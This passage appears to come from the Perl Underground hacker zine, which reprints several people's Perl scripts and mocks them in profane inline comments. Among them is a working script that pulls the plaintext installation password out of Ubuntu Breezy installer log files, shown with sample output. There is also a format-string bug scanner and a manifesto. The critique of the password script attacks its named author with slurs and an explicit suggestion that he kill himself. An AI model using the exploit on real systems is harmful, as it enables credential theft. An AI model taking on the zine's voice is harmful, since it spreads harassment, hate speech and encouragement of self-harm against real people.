print "Start Date: " . UnixDate($date1, "%b %e, %Y") . "\n" 
  if ($opt_f);
print "End Date:   " . UnixDate($date2, "%b %e, %Y") . "\n" 
  if ($opt_f or $opt_t);
print "Total emails matched: $counter\n" if ($counter != $count2);
print "Total emails from losers: $bad\n" if ($bad and $opt_l);
$number = keys %count;
print "Total Unique Entries: $number\n";
$max_count = $opt_m?$opt_m:50;
for $id (@keys) {
  $perc = $loser = 0;  
  $replyto{$id} = $replyto{$id}?$replyto{$id}:'0';
  $current_number++;
  last if ($current_number > $max_count);
  $perc = $new_lines{$id} / $lines{$id} * 100 if ($lines{$id});
  $loser = $html{$id} / $count{$id} * 100 if ($html{$id} > 0);
  write;
}
if ($opt_u) {
  print "\n--\n\n";
  print "Contributers                            URLs\n";
  print "------------                            ----\n";
  for (sort {$contrib{$b} <=> $contrib{$a}} keys %contrib) {
    $contribc++;
    printf "%2d) %-35s %3d\n", $contribc, $_, $contrib{$_};
  }
  print "\nURLs Found\n-------------\n";
  for (sort keys %url_list) {
    print "$_\n";
    for $URL (@{$url_list{$_}}) {
      print " $URL\n";
    }
    print "\n";
  }
}

print "
\n" if ($opt_H); 0; # 0? 0? 0!! 1; 1! #--------------------------------------- # get these up, up up up! sub usage { print "count - $VERSION - The email counter by: MadHat\n $0 <-e|-d|-s> [-ENLGTlu] [-m#] [-f -t ] \n" . "\t-h Full Help"; print " (not just this stuff)" if (!$opt_h); print "\n\t-e email address\n" . "\t-d count domains\n" . "\t-s count suffix (.com, .org, etc...)\n" . "\t-l Add loser rating\n" . "\t-T Add troll rating\n" . "\t-u Add list of URLs found in the date range\n" . "\t-v Verbose output (DEBUG Output)\n" . "\t-E sort on emails (DEFAULT)\n" . "\t-L sort on total lines\n" . "\t-N sort on numer of NEW lines (not part of reply)\n" . "\t-G sort on Garbage (quoted lines)\n" . "\t-m# max number of entries to show\n" . "\t-fmm/dd/yyyy From date. Start checking on this date [01/01/1970]\n" . "\t-tmm/dd/yyyy To date. Stop checking after this date [today]\n" . "\t is the mailbox to count in...\n\n"; # quote this shit if ($opt_h) { print " 'count' will open the disgnated mailbox and sort through the emails counting on the specified results. -e, -d or -s are required as well as a mailbox. All other flags are optional. -e will count on the whole email address -d will count only on the domain portion of the email (everything after the \@) -s will count on the suffix (evertthing past the last . - .com, .org...) Present reporting fields include the designated count field (see above), Total EMails Posted, Total Lines Posted, Total New Lines and Sig/Noise Ratio. - Total EMails Pasted is just that, the total number of emails posted by that counted field. - Total Lines Posted is the total number of messages lines, not including any header fields, posted by that counted field. - Total New Lines is the total number of lines. not including any header fields, that are not part of a reply ot forward. The way a line is determined to be new line, is that it is not started by one of the common characters for replied lines, > | # : or . WARNING: This is not accurate on some email client (some MS Clients) because they do not properly attribute lines in replies. - Sig/Noise Ratio is the % of new info as compaired to total lines posted. This is calculated by taking the total new lines, deviding it by the total number of lines and multiplying by 100 (for percentage). Other Options: The default sort order is by Total Number of Emails (-E), but you can also sort by other fields: -L to sort on total number of Lines posted. -N to sort on total number of New Lines posted. -G to sort on Garbage. Garbage is the number of non-new lines. By default the maximum number of counted fields shown is 50. This can be changed with the -m flag. By default the date range is from January 1, 1970 through 'today'. You can specify a date range using the -f and -t options -f From date. Format is somewhat forgiving, but recomended is mm/dd/yyyy -t To date. This is the date to stop on. Same for format as above. -u Add list of URLs found in the date range create a list of URLs found, with Subject of the email listed for each URL -l Add loser rating. I added this because I use this on mailing lists. Most mailing lists I am on, consider it bad to post HTML or attachments to the list, so this counts the number of HTML posting and attachments (other than things like PGP Sigs) and generates a number from 0 to 100 which is the % of the mails that fall into this catagory. -T Add Troll rating. I added this because some lists didn't have any obvious losers ;^) and didn't want to leave those lists out. This is simply the number of emails referencing a previous email The information is gathered from the 'In-Reply-To' and 'Reference' headers. "; } exit; } sub load_formats { $flt0 = "format STDOUT_TOP ="; $flt2 = " Address EMails Lines New S/N "; $flt3 = " Posted Posted Lines Ratio"; $flt4 = "."; $fl0 = "format STDOUT = "; $fl1 = "@>> @<<<<<<<<<<<<<<<<<<<<<<<<<<< @>>>> @>>>> @>>>>> @## "; $fl2 = "\$current_number, \$id, \$count{\$id}, \$lines{\$id},\$new_lines{\$id}, \$perc"; $fl3 = "."; # formats, and stored like this too, what a gift of 'who the fuck thinks of this' if ($opt_l) { print "Displaying Loser Ratings\n" if ($opt_v); $flt2 .= " L "; $fl1 .= " @## "; $fl2 .= ", \$loser"; # Guess what, in Perl we also have arrays. Would you believe it? Use them } if ($opt_T) { print "Displaying Troll Ratings\n" if ($opt_v); $flt2 .= " T "; $fl1 .= "@>>>> "; $fl2 .= ", \$replyto{\$id}"; } $format = join ("\n", $flt0, $flt1, $flt2, $flt3, $flt4, $fl0, $fl1, $fl2, $fl3); # arrays would have saved some typing here eval $format; } # Do you think I'm an asshole? For putting bad++ everywhere, half the time not # even explaining it? Well fuck you! You should be grateful we don't rip apart # every line. Be thankful we didn't do that through this entire script! # You fuckers probably don't realize how much shit I let go. -[0x14] # School You: Grandfather ---------------------------------------- use strict; use warnings; use Time::HiRes; use List::Util qw(min max); my $allLCS = 1; my $subStrSize = 8; # Determines minimum match length. Should be a power of 2 # and less than half the minimum interesting match length. The larger this value # the faster the search runs. if (@ARGV != 1) { print "Finds longest matching substring between any pair of test strings\n"; print "the given file. Pairs of lines are expected with the first of a\n"; print "pair being the string name and the second the test string."; exit (1); } # Read in the strings my @strings; while (<>) { chomp; my $strName = $_; $_ = <>; chomp; push @strings, [$strName, $_]; } my $lastStr = @strings - 1; my @bestMatches = [(0, 0, 0, 0, 0)]; # Best match details my $longest = 0; # Best match length so far (unexpanded) my $startTime = [Time::HiRes::gettimeofday ()]; # Do the search for (0..$lastStr) { my $curStr = $_; my @subStrs; my $source = $strings[$curStr][1]; my $sourceName = $strings[$curStr][0]; for (my $i = 0; $i < length $source; $i += $subStrSize) { push @subStrs, substr $source, $i, $subStrSize; } my $lastSub = @subStrs-1; for (($curStr+1)..$lastStr) { my $targetStr = $_; my $target = $strings[$_][1]; my $targetLen = length $target; my $targetName = $strings[$_][0]; my $localLongest = 0; my @localBests = [(0, 0, 0, 0, 0)]; for my $i (0..$lastSub) { my $offset = 0; while ($offset < $targetLen) { $offset = index $target, $subStrs[$i], $offset; last if $offset < 0; my $matchStr1 = substr $source, $i * $subStrSize; my $matchStr2 = substr $target, $offset; ($matchStr1 ^ $matchStr2) =~ /^\0*/; my $matchLen = $+[0]; next if $matchLen < $localLongest - $subStrSize + 1; $localLongest = $matchLen; my @test = ($curStr, $targetStr, $i * $subStrSize, $offset, $matchLen); @test = expandMatch (@test); my $dm = $test[4] - $localBests[-1][4]; @localBests = () if $dm > 0; push @localBests, [@test] if $dm >= 0; $offset = $test[3] + $test[4]; next if $test[4] < $longest; $longest = $test[4]; $dm = $longest - $bestMatches[-1][4]; next if $dm < 0; @bestMatches = () if $dm > 0; push @bestMatches, [@test]; } continue {++$offset;} } next if ! $allLCS; if (! @localBests) { print "Didn't find LCS for $sourceName and $targetName\n"; next; } for (@localBests) { my @curr = @$_; printf "%03d:%03d L[%4d] (%4d %4d)\n", $curr[0], $curr[1], $curr[4], $curr[2], $curr[3]; } } } print "Completed in " . Time::HiRes::tv_interval ($startTime) . "\n"; for (@bestMatches) { my @curr = @$_; printf "Best match: %s - %s. %d characters starting at %d and %d.\n", $strings[$curr[0]][0], $strings[$curr[1]][0], $curr[4], $curr[2], $curr[3]; } sub expandMatch { my ($index1, $index2, $str1Start, $str2Start, $matchLen) = @_; my $maxMatch = max (0, min ($str1Start, $subStrSize + 10, $str2Start)); my $matchStr1 = substr ($strings[$index1][1], $str1Start - $maxMatch, $maxMatch); my $matchStr2 = substr ($strings[$index2][1], $str2Start - $maxMatch, $maxMatch); ($matchStr1 ^ $matchStr2) =~ /\0*$/; my $adj = $+[0] - $-[0]; $matchLen += $adj; $str1Start -= $adj; $str2Start -= $adj; return ($index1, $index2, $str1Start, $str2Start, $matchLen); } -[0x15] # krissy gonna cry ----------------------------------------------- #!/usr/bin/perl -w use warnings; use strict; # You fucking moron. -w and warnings. what do you really think -w means? ############################################################################## # Author: Kristian Hermansen # Date: 3/12/2006 # Overview: Ubuntu Breezy stores the installation password in plain text # Link: https://launchpad.net/distros/ubuntu/+source/shadow/+bug/34606 ############################################################################## print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; print "Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool\n"; print "99% effective, thank your local admin ;-)\n"; print "FOR EDUCATIONAL PURPOSES ONLY!!!\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n"; # the two vulnerable files my $file1 = "/var/log/installer/cdebconf/questions.dat"; my $file2 = "/var/log/debian-installer/cdebconf/questions.dat"; print "Checking if an exploitable file exists..."; if ( (-e $file1) || (-e $file2) ) { print "Yes\nNow checking if readable..."; if ( -r $file1 ) { getinfo($file1); } else { if ( -r $file2 ) { getinfo($file2); } else { print "No\nAdmin may have changed the permissions on the files :-(\nExiting...\n"; exit(-2); } } } else { print "No\nFile may have been deleted by the administrator :-(\nExiting...\n"; exit(-1); } sub getinfo { my $fn = shift; print "Yes\nHere come the details...\n\n"; # like Perl doesn't have stuff to do this? Sure does! Whore! # make it a bash script, no reason not to my $realname = `grep -A 1 "Template: passwd/user-fullname" $fn | grep "Value: " | sed 's/Value: //'`; my $user = `grep -A 1 "Template: passwd/username" $fn | grep "Value: " | sed 's/Value: //'`; my $pass = `grep -A 1 "Template: passwd/user-password-again" $fn | grep "Value: " | sed 's/Value: //'`; # you dipshit. first off all, drop the parens # secondly, you could chomp above # thirdly, you're just chomping only to add a \n in your print anyways chomp($realname); chomp($user); chomp($pass); print "Real Name: $realname\n"; print "Username: $user\n"; print "Password: $pass\n"; } # hope you don't mind that I added some POD # thought this could really use some quality documentation =head1 NAME undetermined =head1 DESCRIPTION This script provides easy functionality for an otherwise easy task =head1 EXAMPLE krissy@fluffy:~/exploits$ perl hermansen.pl ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool 99% effective, thank your local admin ;-) FOR EDUCATIONAL PURPOSES ONLY!!! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Checking if an exploitable file exists...Yes Now checking if readable...Yes Here come the details... Real Name: krissy Username: krissy Password: password krissy@fluffy:~/exploits$ =head1 SYNOPSIS Please, some body call the National Security Agency; we have an elite hacker on our hands! My fucking Lord, where do I start? This has got to be one of the worse cases of obsessive compulsive scene-whoreism that I've ever had the unfortunate displeasure of gouging my eyeballs out over. Which backwater, degenerate, sweaty ass crack of a whitehat network did you crawl out of? Are you honestly proud of this amateur pile of shit? How were you able to write this without having a fucking epileptic seizure? You need to keep your bloated ego in check, maggot. Not only do you include your name at the top of this script, but you also assault the user's ocular receptors with it when said script is run. Oh, and not to mention the cute little wink and the "ZOMG FOR EDUCATIONAL PURPOSES ONLY!!!11oneone OMGWTFBBQURMOMLOLLERCOSTER!!!!" tag. What the fuck is this shit? One, you know god damned well that if a person wants to use your "script" for purposes other than those which are educational, they god damned well will! Two, don't act like this is a fucking remotely exploitable hole in the fucking Linux kernel; all it does is read a fucking text file, for Christ's sake! Congratulations, you've coded a text editor! You may just be skilled enough to move on to Windows. What's worse is not the fact that you wrote a mediocre "script" for a hole that my fucking grandmother could exploit in her sleep, but the fact that you didn't even discover it! You read a post on a forum about a couple of files that may contain a plaintext version of a user name and password, and you decided to write a "script" to take advantage of it! How fucking elite! Because we all know how fucking hard it is to us the "cd" and "grep" commands to find our way to that information on our own; we need a godlike, uptight prick such as yourself to guide us. You're not a hacker. You're not a programmer. You're not a Linux guru. What are you, then? You're a scene whore and script kiddy, plain and simple. You have no skill, so you hopelessly jump at every worthless, little opportunity that you are provided with to make it look as though you know what the fuck you're doing. In reality, though, you're just a naive little bitch who couldn't find your way out of a paper bag with a bottle of kerosene and a fucking flamethrower. You lose at life, you incompetent fuckwad. Cut off your tiny, prepubescent balls and turn 'em in; the gene pool doesn't want you. Feel free to kill yourself, faggot. mUrd3r/Su1c1d3 j00 fUck1nG n00b; j00 4r3 n07 n30! 0h n03z!!!oneone!1 +---------------------------------------------------------+ | PERL UNDERGROUND - CHOOSE LIFE, CHOOSE HAX, CHOOSE PERL | +---------------------------------------------------------+ =head1 AUTHOR Kristian Hermansen =cut -[0x16] # We Found nemo -------------------------------------------------- #!/usr/bin/perl # you're in it? # :o # and so are you! welcome to the exclusive club! # thanks for finally getting out of your comfort zone # and giving us this to poke fun at! # nice effort nemo! use strict; # strict? whoa, never thought I'd see that here! my $line = (); my @args = (); my $filename = (); # you realize you don't need to define empty values, right? # and that you could one-line that, right? # then again, you don't need to define these here anyways, right? # so might as well waste more characters, right? @ARGV or die "[-] usage: $0 \n"; my %functions = ( # :: fmt name :: fmt # :: "printf" => 1 , "fprintf" => 2 , "sprintf" => 2 , "snprintf" => 3 , "asprintf" => 2 , "vprintf" => 2 , "vfprintf" => 2 , "vsprintf" => 3 , "vanprintf" => 2 , "warn" => 2 , "warnx" => 1 , "err" => 2 , "errc" => 3 , "errx" => 2 , "verr" => 2 , "verrc" => 3 , "verrx" => 2 , "vwarn" => 1 , "vwarnc" => 2 , "vwarnx" => 1 , "syslog" => 2 , "vsyslog" => 2 , "ssl_log" => 3 , "dropbear_close" => 1, "dropbear_exit" => 1, "dropbear_log" => 2, "dropbear_trace" => 1, "LogMsg" => 1, "ReportStatus" => 2 ); # :: :: :: print "[ $0 ] - by -( nemo\@felinemenace.org )-\n\n"; # The best part of your script # Shows where your priorities are sub find_custom() { for $filename(@ARGV) { open(SOURCEFILE,'<',$filename) or die "[-] Error opening $filename.\n"; # Don't you know 'or' is less tightly binding than '||', thus removing the need for those brackets? for $line(){ if($line =~ /.+\s(.+?)\(.*?,.+?fmt/) { # ooh, now that's user friendly # definitely the best way to solve this problem! } } close(SOURCEFILE); # you really like your parens! } } for $filename(@ARGV) { # wouldn't it be neat to define $filename here instead of up there at the top? open(SOURCEFILE,'<',$filename) or die "[-] Error opening $filename.\n"; my ($s, $count) = (); # gotta love unnecessary declarations for $line(){ $count++; # we have a builtin variable for that for(keys(%functions)) { # mmm parens if($line =~ /([\s};]$_[\s;}]*?\()/smg) { # oh yeah, the g modifier is used so timely # considering you're breaking on newlines, s *and* m might not be what you want ;p chomp $line; $s = $1; # love how you use baby steps # keepin' it simple, don't want to jump too far into high level coding # here comes the fun regex! $s =~ s/([\!-\@\\])/\\$1/; $line =~ s/$s//; next if ($line !~ /\)/); $line =~ s/(.*)\).+?$/$1/; @args = split(/\s*?,\s*?/,$line); # Definitely needed @args to have such a broad scope next if ($args[$functions{$_}-1] =~ /^\s+$/) or $args[$functions{$_}-1] eq undef; # couldn't think of a single option way to get that? next if ($args[$functions{$_}-1] =~ /\"/); if($args[$functions{$_}-1] !~ /^\s*?\".+?\"\s*?$/sg) { print "[*] Possible error in [ $filename ] at line: $count\n"; print "[*] Function: $_.\n"; print "[*] Argument ",$functions{$_}," : [ ",$args[$functions{$_}-1]," ]\n"; # print "[*] Hex: [ ",unpack("H*",$args[$functions{$_}-1])," ].\n"; # you know how to use unpack? man I'm almost impressed # oh wait thats commented out... print "\n"; } } } } close(SOURCEFILE); } # perlbot be nemo # WHY USE PEARL!? C IS FASTAR?!?!? -[0x18] # Manifesto ------------------------------------------------------ Let's calm down for a moment and discuss this like adults. Mostly we haven't shown much respect on our side. Like talking to your young children, you tell them how it is, and there is no question of authority. Just now, and only now, we're going to plead with you, man to man, as equals. Do you know many Perl programmers? I don't just mean that in the sense that they know some Perl, like your level of Perl. I mean good Perl programmers. Someone with the honour of being good enough to avoid this zine by merit. Do you know professional Perl programmers? Are you familiar with the Perl community? Have you worked on a development team for a Perl project? If not, let me tell you a bit about it, as a whole. Perl programmers, on average, are old. Older than most people as well versed in computers. They have a depth of experience that just isn't shared with the hacking world. They stay with Perl. They have an appreciation for quality and practicality. I hope I'm getting something of an accurate image out. There is a massive variety of Perl programmers, but like any other group, as a whole they share certain attributes. As a whole more attributes are prevalent enough to be expressed as stereotypes. One of these attributes is that Perl programmers are very whitehat. They like to code quality programs and get paid for their work. They don't like having their programs broken or embarrassed. They don't like the necessary evil of spending time securing their programs. As programmers and not often hackers, due to these aspects they build a dislike for those seeking to break. They are productive and dislike the destructive. Circumstances put them and you in opposite corners. Freenode #perl will not tolerate questions on building exploits with Perl, no matter the reasoning given. They'll assume the worst, that ultimately you will only have destructive uses for your knowledge. My point is this: They have no respect. No matter your standing among others of your sort, no matter what exploits or tools or reputation. They don't care. The Perl community, as a whole, feels fine considering the hacking community a group of script kiddies. And why shouldn't they? Take a step back and look at it as a person who can see both sides. All the Perl code they have seen from you is of very low quality. You look horrible. You embarass me. Your best and brightest are jokes of incompetence and arrogance. If you, the bad puns of the Perl Underground zine are the pride of hacking communities everywhere, wouldn't any decent Perl programmer come to the conclusion that the average hacker is so much more of a moron, barely able to string coherent sentences together, and not worth the time of an experienced Perl coder? Perl programmers give the impression of being serious professionals, you give off the impression of being ignorant teenagers who have neither refined talents nor the patience to write smart code. Do you think that's unfair? Do you think you deserve better? Do you think you're smart, skilled, experienced, and misunderstood? Then show it. Write good Perl code. Examine your coding logic. Get help from real Perl programmers. Only publish your code to an audience when its ready. Make the Perl community question itself. Give them another realistic option. They are logical and fair, but as it is they can only conclude that you're a bunch of script kiddies. Stop fucking around. Grow up. -[0x19] # Shoutz and Outz ------------------------------------------------ WE WANT V WE WANT V It has come to our attention that some people have made the mistake of assuming that Perl Underground is affiliated with the .aware network. It appears that the masses had mostly found the text after a copy had been uploaded to the .aware network's anonymous FTP server, leading to this confusion. To clarify, we are not .aware crew and we are not affiliated with .aware. Nobody at .aware can code Perl, but shouts to them anyways. You don't have to code Perl to be cool shit, but it sure helps. Watch out for Perl Underground 3. By the time this gets out publicly we will have more than enough material to get started. We'll be sure to save some space for applicants. Better start bracing yourselves now. This one is going to hurt. Shouts to #perl's everywhere and Perl hackers everywhere. Shouts to kaneda, the one who took it with grace. good read though DAMN RIGHT ___ _ _ _ _ ___ _ | _ | | | | | | | | | | | | | _|_ ___| | | | |___ _| |___ ___| _|___ ___ _ _ ___ _| | | | -_| _| | | | | | . | -_| _| | | _| . | | | | . | |_|___|_| |_| |___|_|_|___|___|_| |___|_| |___|___|_|_|___| Forever Abigail $_ = "\x3C\x3C\x45\x4F\x46\n" and s/<